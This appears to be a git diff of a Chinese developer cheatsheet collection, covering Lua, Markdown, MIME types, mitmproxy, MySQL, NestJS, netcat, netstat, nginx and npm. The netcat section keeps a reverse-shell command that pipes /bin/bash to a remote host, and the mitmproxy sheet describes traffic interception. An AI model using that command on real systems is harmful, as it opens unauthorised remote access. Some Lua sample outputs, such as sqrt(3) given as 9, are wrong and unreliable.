string.gsub("Today is 29/01/2019", "%d%d/%d%d/%d%d%d%d", "good day.")
-- Today is a good day. 1
-- 查找第一个匹配的字符串,第三个参数可以提供开始查找的位置,默认从 1 开始
-- 如果未找到,则返回 nil
string.find("referference", "fer") -- 3 5
string.find("Today is 29/01/2021", "%d%d/%d%d/%d%d%d%d") -- 10 19
-- 字符串反转
string.reverse("fw") -- wf
-- 格式化字符串
string.format("value:%c", 1) -- value:a
-- 转换字符并拼接
string.char(97,98,99,100) -- abcd
-- 将字符转化为整数值。 int 用来指定某个字符,默认第一个字符
string.byte("ABCD",4) -- 68
-- 计算字符串长度
string.len("abc") -- 3
-- 返回字符串的 n 个拷贝
string.rep("fw", n) -- fwfw
-- 剪切字符串,第三个参数可选,默认是字符串长度
string.sub("referference", 5, 6) -- rf
```
### 正则匹配
:- | :-
:- | :-
`%a` | 与任何字母配对
`%c` | 与任何控制符配对(例如\n)
`%d` | 与任何数字配对
`%l` | 与任何小写字母配对
`%p` | 与任何标点(punctuation)配对
`%s` | 与空白字符配对
`%u` | 与任何大写字母配对
`%w` | 与任何字母/数字配对
`%x` | 与任何十六进制数配对
`%z` | 与任何代表0的字符配对
<!--rehype:className=left-align-->
#### match
第三个参数可选,默认从 1 开始。如果没有捕获组返回整个字符串,匹配失败返回 nil
```lua
string.match(
"I have 2 questions for you.",
"(%d+) (%a+) "
) -- 2 questions
```
#### gmatch
返回一个迭代器函数,每次调用迭代器函数,如果参数 pattern 描述的字符串没有找到迭代函数返回nil
```lua
for world in string.gmatch("I have 2 questions for you.", "%a+") do
print(world)
end
-- I
-- have
-- questions
-- for
-- you
```
<!--rehype:className=style-round wrap-text-->
数学方法
---
### 常用方法
```lua
-- 一个比任何数字都大的浮点数
math.huge
-- 最小值的整数
math.mininteger
local a = math.abs(-1) -- 1
-- 返回不小于该数到最小整数
local b = math.ceil(1.2) -- 2
-- 返回不大于该数到最大整数
local c = math.floor(1.2) -- 1
-- 取余
local d = math.fmod(9.9, 9) -- 0.9
-- 返回最大值
local g = math.max(1, 2, 3) -- 3
-- 返回最小值
local h = math.min(1, 2, 3) -- 1
-- 返回参数的平方根
local r = math.sqrt(3) -- 9
```
### 工具方法
```lua
-- 返回数字的类型,
local l = math.type(1.2) -- float
local m = math.type(3) -- integer
local n = math.type("") -- nil
-- 返回以指定底底对数
local e = math.log(4, 2) -- 2
-- 返回以 e 为底的自然对数
local f = math.exp(2) -- 7.3890560989307
-- 返回 [0,1) 区间内一致分布的浮点伪随机数
math.random()
-- 返回 [1, n] 区间内一致分布的整数伪随机数
math.random(10)
-- 返回 [n, m] 区间内一致分布的整数伪随机数
math.random(10, 100)
-- 无符号整数比较,参数一 小于 参数二 则返回 true否则返回 false
local o = math.ult(1, 10)
-- 如果参数可以转换为一个整数,则返回该整数,否则返回 nil
local p = math.tointeger("3") -- 3
local q = math.tointeger(0.32) -- nil
-- 返回整数和小数部分
local i, j = math.modf(3.14) -- 3 0.14
```
### 其它方法
```lua
-- 圆周率
math.pi -- 3.1415926535898
-- 正弦方法(以下皆是以弧度表示)
math.sin(math.pi / 2) -- 1.0
-- 余弦方法
math.cos(math.pi) -- -1.0
-- 正切方法
math.tan(math.pi / 4) -- 1.0
-- 反正弦方法(以下皆是以弧度表示)
math.acos(1.0) -- 0.0
-- 反余弦方法
math.acos(1.0) -- 1.5707963267949
-- 反正弦方法
math.atan(1.0) -- 0.78539816339745
-- 角度转换为弧度
math.rad(90) -- 1.5707963267949
-- 弧度转换为角度
math.deg(math.pi) -- 180.0
```
table
---
### 初始化数组
初始化一个空数组
```lua
local array = {}
```
---
默认的数组索引从 1 开始
```lua
local array = { "a", "b", "c", "d" }
array[5] = "e"
for i = 1, 5 do
print(array[i])
end
```
### 多维数组
```lua
local array = {
{ "a", "b", "c" },
{ "d", "e", "f" }
}
for i = 1, #array do
for j = 1, #array[i] do
print(array[i][j])
end
end
```
### 初始化 table
```lua
local table = {}
table.name = "fw"
table.age = "18"
table["sex"] = "boy"
-- 获取 table 的长度
print(#table) -- 3
-- 如果想要删除一个 table那么可以使用 nil 赋值
table = nil
print(table)
```
### table 方法
<!--rehype:wrap-class=col-span-2-->
```lua
-- 用于连接 table 中指定的元素
-- table.concat(table [, sep [, start [, end]]])
local a = { "apple", "orange", "peach" }
print(table.concat(a, "->", 2, 3)) -- orange->peach
-- 用于向指定闻之插入元素。默认数组末尾
-- table.insert(table, [pos,] value)
local a = { "apple", "orange", "peach" }
table.insert(a, 1, "pear")
print(a[1]) -- pear
-- table.move(a1,f,e,t[,a2])
-- 表a1a1下标开始位置fa1下标结束位置et选择移动到的开始位置(如果没有a2默认a1的下标)
local array = { "a", "b", "c" }
for i,v in pairs(table.move(array, 1, 3, 2)) do
print(v)
end -- a a b c
-- table.sort (table [, comp])
-- 排序,默认是升序
local array = { "a", "c", "b" }
local f = function(a, b)
return string.byte(a) - string.byte(b) > 0
end
table.sort(array, f)
for i, v in pairs(array) do
print(v)
end -- c b a
```
### 迭代器
#### 无状态的迭代器
```lua
function square(d,n)
if n < d
then
n = n + 1
return n, n*n
end
end
for i,n in square,5,0
do
print(i,n)
end
```
#### for 循环迭代器
```lua
for i, n in pairs({ 1, 2, 3, 4 }) do
print(i, n)
end
```
模块
---
### 定义模块
```lua
-- a.lua
local mod = {}
mod.cool = "this is a mod"
function mod.test()
print("this is a function")
end
return mod
```
### 导入模块
一般我们可以直接使用 `require` 导入
```lua
-- b.lua
-- local mod = require("a")
-- 使用 pcall 确保 require 函数导入成功,失败则返回一个 false 状态
local status, mod = pcall(require, "a")
if not status then
return
end
mod.test()
print(mod.cool)
```
### 私有函数
```lua
local mod = {}
local function private()
print("private")
end
function mod.public()
private()
end
return mod
```
另见
----
* [Lua 官网](http://www.lua.org) _(lua.org)_
* [luatos](https://wiki.luatos.com/luaGuide/introduction.html) _(wiki.luatos.com)_
* [Lua 教程](https://www.twle.cn/l/yufei/lua53/lua-basic-index.html) _(twle.cn)_

View File

@ -3,7 +3,6 @@ Markdown 备忘清单
这是 Markdown 语法的快速参考备忘单。
Markdown 快速参考
----
@ -30,7 +29,6 @@ Header 2
--------
```
### 块引用
```markdown
@ -64,6 +62,7 @@ Header 2
+ Item 1
+ Item 2
```
或者**任务**列表
```markdown
@ -132,11 +131,13 @@ ___
### 代码
~~~markdown
```markdown
```javascript
console.log("This is a block code")
```
~~~
```
```markdown
~~~css
@ -144,12 +145,10 @@ console.log("This is a block code")
~~~
```
```markdown
4 空格缩进做一个代码块
```
#### 内联代码
```markdown
@ -159,19 +158,27 @@ console.log("This is a block code")
### 表格
```markdown
| 左栏 | 中间栏 | 右栏 |
| ----------| ------------ | --------- |
| 单元格 1 | 居中 | $1600 |
| 单元格 2 | 单元格 3 | $12 |
| 左栏 | 中间栏 | 右栏 |
| -------- | -------- | ----- |
| 单元格 1 | 居中 | $1600 |
| 单元格 2 | 单元格 3 | $12 |
```
简单的风格
```markdown
左栏 | 中间栏 | 右栏
:-------: | :-------:|:-------:
单元格 1 | 居中 | $1600
单元格 2 | 单元格 3 | $12
左栏 | 中间栏 | 右栏
-------- | -------- | -----
单元格 1 | 居中 | $1600
单元格 2 | 单元格 3 | $12
```
增加 `:` 改变文字对齐方式
```markdown
左栏 | 中间栏 | 右栏
:------- | :------: | -----:
左对齐 | 居中 | 右对齐
```
Markdown 表格生成器:[tableconvert.com](https://tableconvert.com/)
@ -223,27 +230,27 @@ Markdown 表格生成器:[tableconvert.com](https://tableconvert.com/)
| 字符 | 转义 | 描述 |
|------------|--------|-------------|
| \\ | \\\\ | backslash 反斜杠 |
| \` | \\\` | backtick 反引号 |
| \* | \\\* | asterisk 星号 |
| \_ | \\\_ | underscore 下划线 |
| \{\} | \\\{\} | curly braces 花括号 |
| \[\] | \\\[\] | square brackets 方括号 |
| \(\) | \\\(\) | parentheses 圆括号 |
| \# | \\\# | hash mark 哈希标记 |
| \+ | \\\+ | plus sign 加号 |
| \- | \\\- | minus sign \(hyphen\) 减号(连字符) |
| \. | \\\. | dot 点 |
| \! | \\\! | exclamation mark 感叹号 |
| <pur>\\</pur> | \\\\ | backslash 反斜杠 |
| <pur>\`</pur> | \\\` | backtick 反引号 |
| <pur>\*</pur> | \\\* | asterisk 星号 |
| <pur>\_</pur> | \\\_ | underscore 下划线 |
| <pur>\{\}</pur> | \\\{\} | curly braces 花括号 |
| <pur>\[\]</pur> | \\\[\] | square brackets 方括号 |
| <pur>\(\)</pur> | \\\(\) | parentheses 圆括号 |
| <pur>\#</pur> | \\\# | hash mark 哈希标记 |
| <pur>\+</pur> | \\\+ | plus sign 加号 |
| <pur>\-</pur> | \\\- | minus sign \(hyphen\) 减号(连字符) |
| <pur>\.</pur> | \\\. | dot 点 |
| <pur>\!</pur> | \\\! | exclamation mark 感叹号 |
### 行内 HTML 元素
<!--rehype:wrap-class=col-span-2-->
```html
目前只支持部分段内 HTML 元素效果,包括 <kdb>, <b>, <i>, <em>, <sup>, <sub>, <br>
目前只支持部分段内 HTML 元素效果,包括 <kbd>, <b>, <i>, <em>, <sup>, <sub>, <br>
```
另见
----
- [GitHub 风格的 Markdown 规范](https://github.github.com/gfm/) _(github.com)_
- [GitHub 风格的 Markdown 规范](https://github.github.com/gfm/) _(github.com)_

File diff suppressed because it is too large Load Diff

View File

@ -3,7 +3,6 @@ MIME 类型 备忘清单
此备忘单列出了一些常见的 Web MIME 类型。 您可以查看包含所有已注册 MIME 类型的 [IANA/MIME 媒体类型注册表](https://www.iana.org/assignments/media-types/media-types.xhtml)。
入门
----
@ -17,7 +16,6 @@ MIME 类型 备忘清单
- 对于 Internet 上的文件格式或格式内容
<!--rehype:className=style-round-->
MIME 类型列表
--------
@ -26,8 +24,8 @@ MIME 类型列表
扩展名 | MIME 类型(内容类型) | 文件种类
:-|:-|:-
\.aac | audio/aac | AAC 音频
\.abw | application/x\-abiword | AbiWord 文档
\.aac | audio/aac | AAC 音频
\.abw | application/x\-abiword | AbiWord 文档
\.arc | application/x\-freearc | 存档文档(嵌入多个文件)
\.avi | video/x\-msvideo | AVI: 音频视频交错
\.azw | application/vnd\.amazon\.ebook | 亚马逊 Kindle 电子书格式
@ -87,11 +85,11 @@ MIME 类型列表
\.webp | image/webp | WEBP图像
\.woff | font/woff | Web 开放字体格式 (WOFF)
\.woff2 | font/woff2 | Web 开放字体格式 (WOFF)
\.xhtml | application/xhtml\+xml | XHTML
\.xls | application/vnd\.ms\-excel | Microsoft Excel
\.xhtml | application/xhtml\+xml | XHTML
\.xls | application/vnd\.ms\-excel | Microsoft Excel
\.xlsx | application/vnd\.openxmlformats\-officedocument\.spreadsheetml\.sheet | Microsoft Excel (OpenXML)
\.xml | application/xml 如果临时用户不可读(RFC 3023第 3 节) text/xml如果临时用户可读(RFC 3023第 3 节) | XML
\.xul | application/vnd\.mozilla\.xul\+xml | XUL
\.xml | application/xml 如果临时用户不可读(RFC 3023第 3 节) text/xml如果临时用户可读(RFC 3023第 3 节) | XML
\.xul | application/vnd\.mozilla\.xul\+xml | XUL
\.zip | application/zip | ZIP 档案
\.3gp | video/3gpp audio/3gpp 如果它不包含视频 | 3GPP 音视频容器
\.3g2 | video/3gpp2 audio/3gpp2 如果它不包含视频 | 3GPP2 音视频容器
@ -104,4 +102,4 @@ MIME 类型列表
- [iana mime.types](http://www.iana.org/assignments/media-types/media-types.xhtml) _(iana.org)_
- [apache mime.types](http://svn.apache.org/repos/asf/httpd/httpd/trunk/docs/conf/mime.types) _(svn.apache.org)_
- [nginx mime.types](http://hg.nginx.org/nginx/raw-file/default/conf/mime.types) _(hg.nginx.org)_
- [nginx mime.types](http://hg.nginx.org/nginx/raw-file/default/conf/mime.types) _(hg.nginx.org)_

282
docs/mitmproxy.md Normal file
View File

@ -0,0 +1,282 @@
Mitmproxy 备忘清单
====
[Mitmproxy](https://mitmproxy.org/) 是一个免费开源的交互式 HTTPS 代理。这是 mitmproxy 的快速参考备忘单。
入门
-----
### 使用
<!--rehype:wrap-class=col-span-2-->
选项 | 范例 | 描述
:--|--|--
`-p` | mitmproxy -p 8001 | 在端口 `8001` 上启动代理
`-m` | mitmproxy -p 8001 -m reverse:<http://127.0.0.1:4000> | `8001` 端口反向代理到4000端口
`-w` | mitmproxy -p 8001 -w traffic.mitm | 流到达时流向文件
`-r` | mitmproxy -r traffic.mitm | 从文件中读取流
`-C` | mitmproxy -C traffic.mitm | 从保存的文件重放客户端请求
`-S` | mitmproxy -S traffic.mitm | 从保存的文件重放服务器响应
`-s` | mitmproxy -s myScript.py | 执行脚本
`-h` | mitmproxy -h | `mitmproxy` 快速帮助
### 移动
```markdown
k Ctrl b
▲ ▲▲
│ ││
h ◀ ─── + ─── ▶ l ││ page
│ ││
▼ ▼▼
j Ctrl f / Space
```
---
:---|---
:---|---
`h`, `j`, `k` ,`l` | 左、下、上、右
`Ctrl` `b` | 向上翻页
`Space` / `Ctrl` `f` | 向下翻页
`g` / `G` | 转到开头/结尾
`Arrows` | 上下左右
<!--rehype:className=shortcuts-->
### 安装
- [mitmproxy 文档](https://docs.mitmproxy.org/stable/) _(mitmproxy.org)_
- [mitmproxy 开源仓库](https://github.com/mitmproxy/mitmproxy) _(github.com)_
---
```bash
$ brew install mitmproxy # macOS
```
### 代理模式
Argument | Effect
:-- | --
`-R REVERSE_PROXY`, `--reverse REVERSE_PROXY` | 将所有请求转发到上游 HTTP 服务器:`http[s]://host[:port]`。客户端始终可以通过 `HTTPS``HTTP` 进行连接,与服务器的连接由指定的方案决定
`--socks` | 设置 `SOCKS5` 代理模式
`-T`, `--transparent` | 设置透明代理模式
`-U UPSTREAM_PROXY`, `--upstream UPSTREAM_PROXY` | 将所有请求转发到上游代理服务器:`http://host[:port]`
<!--rehype:className=style-list-->
### 流(视图)
<!--rehype:wrap-class=row-span-2-->
:---|---
:---|---
`A` | 恢复所有拦截的流
`D` | 重复流
`F` | 设置焦点跟随
`L` | 从文件加载流
`M` | 切换查看标记流
`S` | 开始服务器回放
`U` | 取消设置所有标记
`V` | 还原对此流的更改
`X` | 杀死这个流
`Z` | 清除所有未显示的流
`a` | 恢复此拦截流
`b` | 将响应主体保存到文件
`d` | 从视图中删除流
`e` | 将此流导出到文件
`f` | 设置视图过滤器
`m` | 在此流程上切换标记
`n` | 创建新流程
`o` | 设置流列表顺序
`r` | 重播此流程
`v` | 反向流列表顺序
`w` | 将列出的流程保存到文件
`\|` | 在此流上运行脚本
`Ctrl` `l` | 将剪辑发送到剪贴板
<!--rehype:className=shortcuts-->
### 常见的快捷键
:---|---
:---|---
`q` | 返回/退出
`z` | 清除流列表
`:` | 命令提示符
`E` | 查看事件日志
`O` | 查看选项
`r` | 重播此流程
`Tab` | 下一个
`Enter` | 选择
<!--rehype:className=shortcuts-->
### 全局键绑定
:---|---
:---|---
`-` | 循环到下一个布局
`?` | 查看帮助
`B` | 启动附加的浏览器
`C` | 查看命令
`I` | 切换拦截
`K` | 查看按键绑定
`P` | 查看流程详细信息
`Q` | 立即退出
`W` | 流式传输到文件
`i` | 设置拦截
`Ctrl` `right` | 聚焦下一个布局窗格
`Shift` `tab` | 聚焦下一个布局窗格
<!--rehype:className=shortcuts-->
### 代理选项
<!--rehype:wrap-class=col-span-2-->
:---|---
:---|---
`-b ADDR`, `--bind-address ADDR` | 将代理绑定到的地址(默认为所有接口)
`-I HOST`, `--ignore HOST` | 忽略主机并转发所有流量而不对其进行处理。在透明模式下,建议使用 IP 地址(范围),而不是主机名。在常规模式下,仅忽略 SSL 流量并应使用主机名。提供的值被解释为正则表达式并匹配 ip 或主机名。可以多次通过
`--tcp HOST` | 与模式匹配的所有主机的通用 TCP SSL 代理模式。类似于 `--ignore`,但 SSL 连接被拦截。通信内容以详细模式打印到日志中
`-n`, `--no-server` | 不要启动代理服务器。用于离线分析以前捕获的流
`-p PORT`, `--port PORT` | 代理服务端口。默认值:`8080`
`--http2`, `--no-http2` | 显式启用/禁用 `HTTP/2` 支持。默认情况下禁用,直到主要网站正确实施规范。默认值将在未来版本中更改
`--no-websocket`, `--websocket` | 显式启用/禁用 `WebSocket` 支持。默认启用
`--raw-tcp`, `--no-raw-tcp` | 显式启用/禁用实验性原始 `TCP` 支持。默认情况下禁用。默认值将在未来版本中更改
`--spoof-source-address` | 使用客户端的 IP 进行服务器端连接。与 `upstream-bind-address` 结合使用以欺骗固定源地址
`--upstream-bind-address UPSTREAM_BIND_ADDRESS` | 将上游请求绑定到的地址(默认为无)
<!--rehype:className=style-list-->
Mitmproxy 过滤器
---------------
### 过滤器
:---|---
:---|---
`f` | 设置视图过滤器 _(在流视图页面上)_
<!--rehype:className=shortcuts-->
---
- [RegEX 备忘清单](./regex.md) _(jaywcjlove.github.io)_
正则表达式是 Python 风格的,可以指定为带引号的字符串
### 运算符
:---|---
:---|---
`!` | 一元非
`&` | 和
`\|` | 或者
`(...)` | 分组
### 表达式
<!--rehype:wrap-class=row-span-2-->
:---|---
:---|---
`~a` | 响应匹配资源CSS、Javascript、Flash、图像。
`~b` `regex` | 主体 Body
`~bq` `regex` | 请求正文
`~bs` `regex` | 响应体
`~c` `int` | HTTP 响应代码
`~d` `regex` | 域
`~dst` `regex` | 匹配目标地址
`~e` | 匹配错误
`~h` `regex` | 标头
`~hq` `regex` | 请求头
`~hs` `regex` | 响应头
`~http` | 匹配 HTTP 流
`~m` `regex` | 方法
`~marked` | 匹配标记流
`~q` | 匹配请求无响应
`~s` | 匹配响应
`~src` `regex` | 匹配源地址
`~t` `regex` | 内容类型标头
`~tcp` | 匹配 TCP 流
`~tq` `regex` | 请求 Content-Type 标头
`~ts` `regex` | 响应内容类型标头
`~u` `regex` | 网址
`~websocket` | 匹配 WebSocket 流(和 HTTP-WebSocket 握手流)
### 流选择器
表达式
:---|---
:---|---
`@all` | 所有流程
`@focus` | 目前关注的流程
`@shown` | 当前显示的所有流程
`@hidden` | 当前隐藏的所有流程
`@marked` | 所有标记流
`@unmarked` | 所有未标记的流
mitmproxy 有一组方便的流选择器,可以在当前视图上操作
### 示例
包含“google.com”的网址
```
google\.com
```
正文中包含字符串“test”的请求
```
~q ~b test
```
除了带有 text/html 内容类型的请求之外的任何内容:
```
!(~q & ~t "text/html")
```
替换请求中的整个 GET 字符串(需要引号才能使其工作):
```
":~q ~m GET:.*:/replacement.html"
```
Mitmproxy 脚本
-------
<!--rehype:body-class=cols-2-->
### Custom response
```python
from mitmproxy import http
def request(flow: http.HTTPFlow) -> None:
if flow.request.pretty_url == "http://example.com/path":
flow.response = http.HTTPResponse.make(
200, # (optional) status code
b"Hello World", # (optional) content
{"Content-Type": "text/html"} # (optional) headers
)
```
从代理发送回复而不向远程服务器发送任何数据
### Add header
```python
class AddHeader:
def __init__(self):
self.num = 0
def response(self, flow):
self.num = self.num + 1
flow.response.headers["count"] = str(self.num)
addons = [
AddHeader()
]
```
为每个响应添加一个 HTTP 标头
另见
-------
- [mitmproxy addons](https://github.com/mitmproxy/mitmproxy/tree/master/examples/addons) _(github.com)_
- [mitmproxy 文档](https://docs.mitmproxy.org/stable/) _(mitmproxy.org)_
- [mitmproxy 开源仓库](https://github.com/mitmproxy/mitmproxy) _(github.com)_
- [mitmproxy 备忘清单](https://www.stut-it.net/blog/2017/mitmproxy-cheatsheet.html) _(stut-it.net)_

View File

@ -3,7 +3,6 @@ MySQL 备忘清单
本备忘单旨在快速理解 [MySQL](https://mysql.com) 所涉及的主要概念提供了最常用的SQL语句供您参考。
入门
---
@ -65,9 +64,9 @@ mysql -h <host> -u <user> -p [db_name]
`SHOW TABLES;` | 列出当前数据库的表
`SHOW FIELDS FROM` t`;` | 表的列表字段
`DESC` t`;` | 显示表格结构
`SHOW CREATE TABLE `t`;` | 显示创建表sql
`TRUNCATE TABLE `t`;` | 删除表中的所有数据
`DROP TABLE `t`;` | 删除表格
`SHOW CREATE TABLE`t`;` | 显示创建表sql
`TRUNCATE TABLE`t`;` | 删除表中的所有数据
`DROP TABLE`t`;` | 删除表格
#### Proccess
@ -174,6 +173,12 @@ ALTER TABLE t1 RENAME TO t2;
ALTER TABLE t1 RENAME c1 TO c2 ;
```
将列c1的数据类型改为datatype
```sql
ALTER TABLE t1 MODIFY c1 datatype;
```
删除表中的所有数据
```sql
@ -388,6 +393,7 @@ CREATE TABLE t(
CHECK(c1> 0 AND c1 >= c2)
);
```
c2列中的设置值不为NULL
```sql
@ -556,7 +562,6 @@ DROP INDEX idx_name;
MySQL 数据类型
---------
### Strings
| - | - |
@ -573,16 +578,15 @@ MySQL 数据类型
| `ENUM` | One of preset options |
| `SET` | Selection of preset options |
### Date & time
| Data Type | Format |
|-------------|---------------------|
| `DATE ` | yyyy-MM-dd |
| `TIME ` | hh:mm:ss |
| `DATETIME ` | yyyy-MM-dd hh:mm:ss |
| `DATE` | yyyy-MM-dd |
| `TIME` | hh:mm:ss |
| `DATETIME` | yyyy-MM-dd hh:mm:ss |
| `TIMESTAMP` | yyyy-MM-dd hh:mm:ss |
| `YEAR ` | yyyy |
| `YEAR` | yyyy |
### Numeric
@ -602,4 +606,4 @@ MySQL 数据类型
- [SQL 基础教程](http://www.w3school.com.cn/sql/index.asp) _(w3school.com.cn)_
- [SQL 语句教程](http://www.1keydata.com/cn/sql/sql-count.php) _(1keydata.com)_
- [21分钟 MySQL 基础入门](https://jaywcjlove.github.io/mysql-tutorial/21-minutes-MySQL-basic-entry.html) _(jaywcjlove.github.io)_
- [21分钟 MySQL 基础入门](https://jaywcjlove.github.io/mysql-tutorial/21-minutes-MySQL-basic-entry.html) _(jaywcjlove.github.io)_

117
docs/nestjs.md Normal file
View File

@ -0,0 +1,117 @@
NestJS 备忘清单
===
[NestJS](https://docs.nestjs.com/) 是一个用于构建高效、可扩展的 Node.js 服务器端应用程序的开发框架
创建应用
---
### NestCLI
[NestJS](https://docs.nestjs.com/) 需要 [Node.js >= 12](https://nodejs.org)
```bash
$ npm i -g @nestjs/cli
$ nest new project-name
```
[Nest CLI](https://docs.nestjs.com/cli/overview) 是一个命令行界面工具可以帮助你初始化、开发和维护你的Nest应用程序安装依赖并启动开发服务器
```bash
$ cd <your-project-name>
$ npm run start
```
当你准备将应用发布到生产环境时,请运行:
```bash
$ npm run build
```
此命令会在 `./dist` 文件夹中为你的应用创建一个生产环境的构建版本
### CLI指令
命令 | 别名 | 描述
:-|-|-
`new` | n | 使用模板快速创建应用
`generate` | g | 自动生成`Controller``Providers``Modules`
`build` | | 打包并输出./dist目录
`start` | | 打包并运行
`add` | | 安装一个符合Nest的库`npm install`
`info` | i | 输出系统信息、CLI版本和Nest Package信息
<!--rehype:className=show-header left-align-->
### Platform(平台)
<!--rehype:wrap-class=row-span-2-->
目前 `NestJS` 支持两个 `Node HTTP` 平台:[Express](https://expressjs.com/) 和 [Fastify](https://www.fastify.io/)。从技术上讲一旦创建了适配器Nest 便可以使用任何 Node HTTP 框架
#### platform-express
```ts
import { NestFactory } from '@nestjs/core'
import { AppModule } from './app.module'
import { NestExpressApplication } from '@nestjs/platform-express'
async function bootstrap() {
const app = await NestFactory.create<NestExpressApplication>(AppModule)
await app.listen(3000)
}
bootstrap()
```
<!--rehype:className=wrap-text-->
#### platform-fastify
```ts
import { NestFactory } from '@nestjs/core'
import { AppModule } from './app.module'
import { NestFastifyApplication } from '@nestjs/platform-fastify'
async function bootstrap() {
const app = await NestFactory.create<NestFastifyApplication>(AppModule)
app.enableCors() // 开启Cors
app.register(fastifyCsrf)
await app.listen(4000, '0.0.0.0')
console.log(`Application is running on: ${await app.getUrl()}`)
}
bootstrap()
```
<!--rehype:className=wrap-text-->
### 目录
```bash
├── src # 源代码目录
│   ├── app.module.ts # 应用程序的根模块
│ ├── app.controller.spec.ts # 控制器的单元测试
│ ├── app.controller.ts # 单个路由的基本控制器
│ ├── app.service.ts # 具有单一方法的基本服务
│ └── main.ts # 应用程序的入口文件
# 它使用核心函数 NestFactory 来创建 Nest 应用程序的实例
└── test # 测试目录
├── app.e2e-spec.ts
└── jest-e2e.json
```
### JavaScript
`NestCLI` 默认是使用`TypeScript`进行初始化项目的,如果需要使用`JavaScript`请使用以下指令
```bash
$ git clone https://github.com/nestjs/javascript-starter.git
$ cd <javascript-starter>
$ npm install
$ npm run start
```
<!--rehype:className=wrap-text-->
需要[注意]((https://docs.nestjs.com/first-steps#language))的一点是,`JavaScript`的版本是需要`Babel`
另见
---
[NestJs 官方文档](https://docs.nestjs.com/)

View File

@ -18,15 +18,14 @@ $ nc [options] [host] [port]
监听传入连接
```shell
```shell
$ nc -lp port [host] [port]
```
### 选项示例
<!--rehype:wrap-class=col-span-3 row-span-2-->
选项 | 示例 | 说明
选项 | 示例 | 说明
:- | :- | :-
`-h` | nc -h | 帮助
`-z` | nc -z 192.168.1.9 1-100 | 端口扫描主机或 `IP` 地址
@ -40,7 +39,6 @@ $ nc -lp port [host] [port]
`-4` | nc -4 -l 8000 | 仅限 `IPv4`
`-6` | nc -6 -l 8000 | 仅限 `IPv6`
### 聊天客户端-服务器
<!--rehype:wrap-class=col-span-2-->
@ -228,4 +226,4 @@ $ nc -lv 8000
$ nc 192.168.1.9 8000 -v -e /bin/bash
```
反向 `shell` 通常用于绕过防火墙限制,例如阻止入站连接
反向 `shell` 通常用于绕过防火墙限制,例如阻止入站连接

View File

@ -42,7 +42,6 @@ $ netstat -h
`netstat -au` | 所有 UDP 连接
`netstat -ant` | 显示没有反向 DNS 查找的 IP 地址
选项 | 说明
:- | :-
`netstat` | 活动连接
@ -53,7 +52,6 @@ $ netstat -h
`netstat -tnl` | 监听 TCP 端口
`netstat -unl` | 监听 UDP 端口
### 网络
选项 | 说明
@ -65,7 +63,6 @@ $ netstat -h
### 路由
选项 | 说明
:- | :-
`netstat -r` | 显示路由表

View File

@ -208,7 +208,7 @@ location /folder/ { # / 很重要!
### 反向代理
<!--rehype:wrap-class=row-span-3-->
#### 基础
#### 基础
```nginx
server {
@ -260,7 +260,7 @@ server {
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
}
}
```
@ -313,7 +313,6 @@ server {
您可以使用 Let's Encrypt 轻松保护您的网站/应用程序。去 [lets-encrypt](https://certbot.eff.org/lets-encrypt/ubuntuxenial-nginx.html) 获取更多信息
### 重定向(301永久)
<!--rehype:wrap-class=row-span-2-->
@ -867,4 +866,4 @@ location = /robots.txt {
---
- [Nginx 安装维护入门学习笔记](https://jaywcjlove.github.io/nginx-tutorial) _(jaywcjlove.github.io)_
- [](https://virtubox.github.io/advanced-nginx-cheatsheet/) _(virtubox.github.io)_
- [](https://virtubox.github.io/advanced-nginx-cheatsheet/) _(virtubox.github.io)_

View File

@ -21,6 +21,7 @@ npm 备忘清单
`npm install <package_name>@<tag>` | 使用 `dist-tags` 安装包
`npm install -g <package_name>` | 全局安装包
`npm uninstall <package_name>` | 卸载包
`npm uninstall -g <package_name>` | 全局卸载包
<!--rehype:class=auto-wrap-->
### 安装
@ -28,18 +29,18 @@ npm 备忘清单
命令 | 描述
:- |:-
`npm i sax` | `NPM`
`npm i sax` | `NPM`
`npm i sax@latest` | 指定标签 `最新`
`npm i sax@3.0.0` | 指定版本 `3.0.0`
`npm i sax@">=1 <2.0"` | 指定版本范围
`npm i @org/sax` | 范围内的 `NPM`
`npm i user/repo` | GitHub
`npm i user/repo#master` | GitHub
`npm i github:user/repo` | GitHub
`npm i gitlab:user/repo` | GitLab
`npm i /path/to/repo` | 绝对路径
`npm i ./archive.tgz` | 压缩包
`npm i https://site.com/archive.tgz` | 通过 `HTTP` 压缩包
`npm i sax@">=1 <2.0"` | 指定版本范围
`npm i @org/sax` | 范围内的 `NPM`
`npm i user/repo` | GitHub
`npm i user/repo#master` | GitHub
`npm i github:user/repo` | GitHub
`npm i gitlab:user/repo` | GitLab
`npm i /path/to/repo` | 绝对路径
`npm i ./archive.tgz` | 压缩包
`npm i https://site.com/archive.tgz` | 通过 `HTTP` 压缩包
<!--rehype:class=auto-wrap-->
安装依赖的可用参数
@ -78,19 +79,17 @@ $ npm cache verify # 验证缓存文件夹的内容,垃圾收集任何不需
### 更新
命令 | 描述
:- | -
命令 | 描述
:- | -
`npm version <version>` | 要更改 `package.json` 中的版本号
`npm update` | 更新生产包
`npm update --dev` | 更新开发包
`npm update -g` | 更新全局包
`npm update lodash` | 更新 `lodash`
### 杂项功能
<!--rehype:wrap-class=row-span-2-->
```bash
# 将某人添加为所有者
$ npm owner add USERNAME PACKAGENAME
@ -156,6 +155,153 @@ $ nrm ls
$ nrm use cnpm
```
### init
用于设置新的或现有的 `npm`
```bash
$ npm init <package-spec> # (如同 `npx <package-spec>)
$ npm init <@scope> # (如同 `npx <@scope>/create`)
```
别名: `create`, `innit`
:- | --
:- | --
`npm init foo` | `npm exec create-foo`
`npm init @usr/foo` | `npm exec @usr/create-foo`
`npm init @usr` | `npm exec @usr/create`
`npm init @usr@2.0.0` | `npm exec @usr/create@2.0.0`
`npm init @usr/foo@2.0.0` | `npm exec @usr/create-foo@2.0.0`
<!--rehype:className=left-align-->
### exec
命令允许您在与通过 `npm run` 运行它类似的上下文中从 npm 包
```bash
$ npm exec -- <pkg>[@<version>] [args...]
$ npm exec --package=<pkg>[@<version>] -- <cmd> [args...]
$ npm exec -c '<cmd> [args...]'
$ npm exec --package=foo -c '<cmd> [args...]'
```
别名: x
```bash
$ npm exec --package yo --package generator-node --call "yo node"
$ npm exec --package=foo -- bar --bar-argument
# ~ or ~
$ npx --package=foo bar --bar-argument
```
npx
---
### 介绍
从本地或远程 npm 包运行命令
```bash
npx -- <pkg>[@<version>] [args...]
npx --package=<pkg>[@<version>] -- <cmd> [args...]
npx -c '<cmd> [args...]'
npx --package=foo -c '<cmd> [args...]'
```
<!--rehype:className=wrap-text-->
